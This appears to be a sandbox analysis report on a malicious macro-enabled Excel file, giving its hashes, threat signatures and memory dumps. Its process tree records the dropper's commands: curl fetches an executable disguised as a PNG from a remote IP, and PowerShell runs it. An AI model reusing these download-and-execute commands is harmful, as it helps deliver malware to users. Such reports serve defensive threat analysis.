Analysis

  • max time kernel
    144s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    27-02-2024 16:32

General

  • Target

    a9a0fed71fb7d2c87d0573c2ef58a965.xlsm

  • Size

    140KB

  • MD5

    a9a0fed71fb7d2c87d0573c2ef58a965

  • SHA1

    c4f1ec24d582759c4429df2a4a8c161f0370ac2f

  • SHA256

    576846688affd1beddef344a080b78728e8d649c6f75068899cde008fa501d83

  • SHA512

    5618fcce1bb08e1f154e51dfe1cf4d9a1866bdbbf085703ec5d578132f2194bbc96ad76237c439cc970d9207f48568ac9a1af63cf3e163c941d51cd4f4ee4205

  • SSDEEP

    1536:wJxSwIXUJksB977w3mv8fdwLmG9s80okHwjzjoki9cIyhGfaZWDCltHP:oUdkCS7k3XOmT/QzXIWGfaZW+l1

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\a9a0fed71fb7d2c87d0573c2ef58a965.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2064
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe start-sleep 10; $x=$env:AppData+'\QyZcY.exe';Invoke-Expression $x
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2876
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\QyZcY.exe
      2⤵
      • Process spawned unexpected child process
      PID:2812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2064-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2064-1-0x00000000724DD000-0x00000000724E8000-memory.dmp

    Filesize

    44KB

  • memory/2064-12-0x00000000724DD000-0x00000000724E8000-memory.dmp

    Filesize

    44KB

  • memory/2876-7-0x000000006C0E0000-0x000000006C68B000-memory.dmp

    Filesize

    5.7MB

  • memory/2876-8-0x000000006C0E0000-0x000000006C68B000-memory.dmp

    Filesize

    5.7MB

  • memory/2876-9-0x0000000002210000-0x0000000002250000-memory.dmp

    Filesize

    256KB

  • memory/2876-10-0x0000000002210000-0x0000000002250000-memory.dmp

    Filesize

    256KB

  • memory/2876-11-0x000000006C0E0000-0x000000006C68B000-memory.dmp

    Filesize

    5.7MB